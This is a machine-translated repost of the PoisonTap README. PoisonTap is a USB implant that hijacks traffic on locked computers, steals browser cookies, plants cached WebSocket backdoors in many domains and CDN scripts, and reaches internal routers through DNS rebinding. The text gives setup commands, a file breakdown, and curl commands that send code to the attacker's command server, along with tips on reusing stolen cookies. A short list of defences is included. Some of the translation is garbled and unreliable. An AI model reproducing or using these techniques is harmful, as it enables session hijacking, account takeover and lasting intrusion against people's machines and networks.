Shulou(Shulou.com)06/01 Report--

Editor to share with you the example analysis of PoisonTap siphon cookie, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's go to know it!

PoisonTap-siphon cookie, expose internal routers and install Web backdoors on locked computers

Created by @ SamyKamkar | | https://samy.pl

When PoisonTap (Raspberry Pi Zero&Node.js) is inserted into a locked / password-protected computer, it:

Simulate an Ethernet device through USB (or Thunderbolt)

Hijack all Internet traffic from the machine (albeit with low priority / unknown network interfaces)

Siphon and store HTTP Cookie and sessions from web browsers for the top 1 million Alexa sites

Expose the internal router to the attacker so that it can be rebound via outbound WebSocket and DNS (remotely accessing Matt Austin for re-binding)!

Install a persistent Web-based backdoor in the HTTP cache for hundreds of thousands of domains and common Javascript CDN URL, all of which can access the user's cookie through cache poisoning

Allow an attacker to remotely force a user to use the Cookie of a user in any returned domain for HTTP requests and proxy replies (GET&POST)

It does not require the machine to be unlocked.

Backdoors and remote access still exist, even after the device is deleted and the attacker moves

(Ara's incredible HTML5 canvas animation)

PoisonTap avoids the following security mechanisms:

Password protection lock screen

Routing table priority and network interface service order

Homologous policy

X-frame, option

HttpOnly Cookies

SameSite cookie attribute

Two-factor / multi-factor authentication (2FA / MFA)

DNS fixation

Sharing across original resources (CORS)

Cookie protection for HTTPS when secure cookie flags and HSTS are not enabled

Demo

PoisonTap is designed for $5 Raspberry Pi Zero and can work with any component other than micro-USB cable and microSD card, or any Raspberry Pi from Ethernet to USB / Thunderbolt dongle (1-2-3), or on other devices that can simulate USB gadgets, such as USB Armory and LAN Turtle.

Live demos and more details in the video:

Contact point: @ SamyKamkar / / https://samy.pl

Published: November 16, 2016

Source code and download: https://github.com/samyk/poisontap

How does the poison tower work?

PoisonTap produces a cascade effect by making use of the existing trust of various mechanisms of machines and networks (including USB / Thunderbolt,DHCP,DNS and HTTP) to produce a snowball effect of information penetration, network access and semi-permanent backdoor installation.

In short, PoisonTap does the following:

Network hijacking

An attacker inserts PoisonTap (such as a weaponized Raspberry Pi Zero) into a locked computer (even if the computer is password protected)

PoisonTap emulates Ethernet devices (for example, Ethernet over USB / Thunderbolt)-by default, Windows,OS X and Linux recognize Ethernet devices, automatically load them as low-priority network devices, and execute DHCP requests, even if the machine is locked or password protected

PoisonTap responds to DHCP requests and provides the machine with an IP address, but the DHCP response is to tell the machine that the entire IPv4 space (0.0.0.0-255.255.255.255) is part of the PoisonTap local network, not a small subnet (for example, 192.168.0.0-192.168.0.255)

In general, if a secondary network device is connected to a machine, it will have a lower priority than the existing (trusted) network device and will not replace the gateway for Internet traffic, which is not important, but.

Due to the priority of LAN Traffic for Internet Traffic, any routing table / gateway priority / network interface service order security is bypassed

PoisonTap uses this network access, even as a low-priority network device, because the low-priority network device of subnet An is higher than the (default route) highest-priority network device of the higher priority gateway.

This means that if the traffic is destined to be 1.2.3.4, usually the traffic will reach the default route / gateway of the primary (non-PoisonTap) network device, the PoisonTap will actually get the traffic, because the PoisonTap "local" network / subnet is said to contain 1.2.3.4, other IP addresses that exist;)

Therefore, even if the machine is connected to a higher priority network device and the correct gateway (real WiFi, Ethernet, etc.), all Internet traffic will exceed PoisonTap.

Biscuit siphon

As long as the Web browser is running in the background, one of the open pages may perform HTTP requests in the background (for example, load new ads, send data to the analytics platform, or just continue to track your web page) through AJAX or dynamic script / iframe tags

You can see this for yourself, go to your devtools / inspector (usually Cmd + Shift + I or Ctrl + Shift + I), visit a heavily visited website, click on the web tab, and watch remote resources continue to access even if you don't take any action on the page.

According to this HTTP request, because all traffic exits to the PoisonTap device, PoisonTap DNS immediately propagates back to its own address, causing the HTTP request to hit the PoisonTap Web server (Node.js)

If the DNS server points to the internal IP (LAN) where PoisonTap cannot be privileged, the attack will continue to work because the internal DNS server will generate public IP addresses for various attacked domains, which is the public IP address PoisonTap has been hijacked

Once the internal DNS server responds, the Web browser triggers the public IP and eventually hits the PoisonTap Web server (Node.js) in either case

When the Node Web server receives a request, the PoisonTap responds to a response that can be interpreted as HTML or Javascript, both of which can be executed normally (many websites will load HTML or JS in the background request)

HTML / JS agnostic pages then generate many hidden iframe, each iframe spanning different Alexa-top- 1 million domains

Any "X-Frame-Options" security on the domain name is ignored because PoisonTap is now the HTTP server and selects the header file to send to the client

With each iframe HTTP request to the site (for example, http://nfl.com/PoisonTap), HTTP Cookie is sent from the browser to the "public IP" hijacked by PoisonTap, which quickly records cookie / authentication information and records tens of thousands of users' Cookie to PoisonTap.

Any "HttpOnly" cookie security is bypassed and these cookie are captured because Javascript is not executed on the domain book, but is only used to load iframe first

Any security across the original resource sharing or same origin policy is bypassed because the access domain appears to be legal for the browser

Because we are grabbing Cookie instead of credentials, any 2FA / MFA implemented on the site will be bypassed when an attacker logs in using cookie. This is because we don't have the actual login function yet, but we continue to log in, which won't trigger two-factor authentication.

If the server is using HTTPS, but Cookie does not explicitly set the Secure Cookie flag, HTTPS protection is bypassed and the cookie is sent to PoisonTap

Remotely accessible Web-based backdoor

Although PoisonTap is generating thousands of I frames, forcing browsers to load each one, these iframe will not just be blank pages, but the Javascript backdoor of HTML + will be cached indefinitely

Because PoisonTap forces these backdoors to be cached on each domain, the backdoor is bound to that domain, allowing the attacker to use the domain's cookie and initiate the same origin request in the future, even if the user is not currently logged in

For example, when http://nfl.com/PoisonTap iframe loads, PoisonTap accepts diverted Internet traffic and responds to HTTP requests through the Node web server

Add additional HTTP headers to cache the page indefinitely

The actual response to this page is a combination of HTML and Javascript, which generates a persistent WebSocket to the attacker's Web server (via Internet rather than PoisonTap devices)

WebSocket remains open, allowing attackers to connect to the fallback machine at any time in the future and execute any source code with a backdoor implementation (the first 1 million sites of Alexa-see below)

If the backdoor is open on a site (for example, nfl.com) and the user wants to attack a different domain (such as pinterest.com), the attacker can load the iframe on the nfl.com into the pinterest.com backdoor (http://pinterest.com/PoisonTap)

Third, any "X frame option" on the domain, security across original resource sharing and same origin policies is completely ignored, because the request will trigger the cache that PoisonTap leaves, not the real domain.

Internal router backdoor and remote access

A network PoisonTap cannot hijack an actual LAN subnet that is a real network interface (for example, if the user's wifi subnet is 192.168.0.x, the network is not affected), but.

PoisonTap forces a backdoor cache on a special host, especially the target router's IP formerly known as ".ip.samy.pl", such as 192.168.0.1.ip.samy.pl, which essentially produces a persistent DNS rebinding attack.

When using PoisonTap as the DNS server (the victim uses a public DNS server), PoisonTap temporarily responds to a dedicated PoisonTap IP (1.0.0.1), which means that any request at that time will trigger the PoisonTap Web server

If the DNS server is set to the internal network (for example, 192.168.0.x), an additional 1.0.0.1 * * will be required. Pin . * * the private DNS server that ip.samy.pl told me (on the public Internet) temporarily responds to any [ip.address] .ip.samy.pl address and "fixed" address (1.0.0.1) for a few seconds

PoisonTap then quickly set up a backdoor on http://192.168.0.1.ip.samy.pl/PoisonTap, a vulnerability currently pointing to 1.0.0.1 PoisonTap devices that allow access from PoisonTap devices and cache backdoors

The security of DNS binding and DNS rebinding was bypassed due to the exhaustion of the DNS binding table, due to thousands of previous requests and no need for rebinding in the future, which allowed this attack to last for a long time (because Matt Austin shared the attack with me! )

Now, a backdoor is forced to cache to http://192.168.0.1.ip.samy.pl/PoisonTap, and any future request for 192.168.0.1.ip.samy.pl will be called to the unreleased IP address, causing 192.168.0.1 to be resolved and directed directly to the router.

This means that if the 192.168.0.1.ip.samy.pl/PoisonTap host in the iframe is loaded remotely through the backdoor, you can now perform AJAX GET / POSTs on any other page on the internal router, completely remote, allowing remote access to the internal router

This can lead to other attacks on routers that the attacker may have never accessed, such as default administrator credentials on the router used to overwrite the DNS server, or other authentication vulnerabilities

An overview of the DNS server:

[ip.addy] .ip.samy.pl usually uses [ip.addy]

192.168.0.1.ip.samy.pl-> 192.168.0.1 (A record)

[ip.addy] .pin.ip.samy.pl temporarily (~ 5 seconds) minutes * .ip.samy.pl to [ip.addy]

1.0.0.1.pin.ip.samy.pl-> 1.0.0.1

192.168.0.1.ip.samy.pl-> 1.0.0.1 (A record, short TTL)

(about 5 seconds later)

192.168.0.1.ip.samy.pl-> 192.168.0.1 (A record)

Other remotely accessible Web-based backdoors

In addition, PoisonTap replaces thousands of common CDN-based Javascript files, such as Google and jQuery CDN, with correct code plus a backdoor that allows attackers to access any domain that loads infected CDN-based Javascript files

Because each domain has a backdoor, this allows attackers to remotely force backward browsers to execute the same initial request (AJAX GET / POST) on almost any major domain, even if the victim currently does not have any open window domains

The backdoor will now live on any other website, and when victims visit the site, they will also use one of these infected HTTP-based CDN Javascript frameworks

Protective poison

Server-side security

If you are running a Web server, it is easy to guard against PoisonTap:

At least use HTTPS to authenticate and verify content

To be honest, you should specifically use HTTPS and always redirect HTTP content to HTTPS to prevent users from being tricked into providing credentials or providing other PII through HTTP

Ensure that the security flag is enabled on the Cookie to prevent HTTPS Cookie from leaking through the HTTP

When using remote JavaScript resources, use Subresource Integrity scripts to mark attributes

Use HSTS to prevent HTTPS degradation attacks

Desktop security

Adding cement to USB and Thunderbolt ports can be effective

Turning off the browser works every time you leave the machine, but it's completely impractical.

Disabling USB / Thunderbolt ports is also valid, although it is also impractical

Locking the computer doesn't have any effect, because the network and the USB stack run when the machine is locked, but entering encrypted sleep mode requires a key to decrypt memory (such as FileVault2 + deep sleep) solves most problems, as your browser will no longer make requests, even if wake up

download

Source code: https://github.com/samyk/poisontap

Installation / file decomposition

Note: if you find that the device is not automatically acting as an Ethernet controller (for example, an older version of Windows), you can change the VID and PID in pi_startup.sh

# instruction to adjust sudo bash# from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41 if Raspbian BEFORE or even-10 Then run the next line: BRANCH = next rpi-updateecho-e "\ nauto usb0\ nallow-hotplug usb0\ niface usb0 inet static\ n\ taddress 1.0.0.1\ n\ tnetmask 0.0.0.0" > > / etc/ network / interfaces echo "dtoverlay = dwc2" > > / boot / config.txt echo-e "dwc2\ ng_ether" > > / etc/ modulessudo sed-in-place "/ exit 0 / d" / etc/rc.local echo "/ bin / sh / home/pi / poisontap/pi_startup.sh "> > / etc/rc.localmkdir / home / pi / poisontapchown-R pi / home / pi / poisontapapt-get update & & apt-get upgrade apt-get-y install isc-dhcp-server dsniff screen nodejs

Put the dhcpd.conf in / etc/dhcp/dhcpd.conf, then put the other files in / home / pi / poisontap, and then restart to make sure everything is all right.

There are multiple files in repo that are used in different ways. List:

Backdoor.html-whenever a http:// hostname / PoisonTap URL is named exfiltrate cookies, this file is returned as the content of the forced cache. It contains a backdoor that produces an outbound websocket to samy.pl:1337 (adjustable to any host / port), waiting for the command to continue to open from the server. This means that when you load an iframe (such as http:// hostname / PoisonTap) on a Web site, this is populated even after you remove the PoisonTap from the machine.

Backend_server.js-this is the Node.js server that you run on a server that Internet can access. This is backdoor.html connected (for example, samy.pl:1337). This is the same server as the command you connected to to send to your PoisonTapped minicomputer, such as

# popular alert victim curl 'http://samy.pl:1337/exec?alert("mua")' # set on the victim a cookie curl 'http://samy.pl:1337/exec?[xss_clean] = "key = value"' # force the victim to load a url through ajax (note JQuery is stored in the backdoor) curl'http: / / samy.pl:1337/exec?$.get ("http:// 192.168.0.1.ip.samy.pl/login", function (d)\ {console.log (d)\})'

Pi_poisontap.js-this is run through Node.js on Raspberry Pi Zero and is the HTTP server that handles any HTTP requests intercepted by PoisonTap, stores siphon cookie, and injects the back door of the cache.

Pi_startup.sh-runs when Raspberry Pi Zero starts in order to set the device to emulate the USB Ethernet gadget, set up our malicious DHCP server, allow traffic rerouting, DNS spoofing, and start pi_poisontap.js above.

Target_backdoor.js-this file is an Javascript file associated with any CDN, so backdoor them, such as Google CDN's jQuery URL.

Target_injected_xhtmljs.html-this is the code injected into the unintentional / background HTTP / AJAX request on the victim's machine and produces the entire attack. It is constructed by interpreting it as HTML or Javascript and still executing the same code. In addition, the amazing HTML5 canvas is made of incredible Ara oen CodePen, which is too amazing to include. This is the graphical madness that occurs when the page is taken over by PoisonTap.

Poisontap.cookies.log-once the user's machine starts sending HTTP requests to PoisonTap, this file is generated and the cookie is recorded with the browser and the associated URL / domain to which it belongs.

Frequently asked questions

Q: how do I add additional domains to be returned?

Target_injected_xhtmljs.html

By

GetDoms ()

Function settings. This in itself is caused by

Alexa1m.sh

Populated with scripts in the repo root directory. If you want to add another domain name to this list, you can simply modify the reverted call

GetDoms ()

A: list of domains to be returned

Q: how do you use the captured Cookie?

A: you can use Document.cookie API to set up Cookie directly from the JavaScript console in the browser. This StackOverflow article also provides some Chrome-specific recommendations, such as the Cookie inspector Chrome extension.

The above is all the contents of the article "sample Analysis of PoisonTap siphon cookie". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.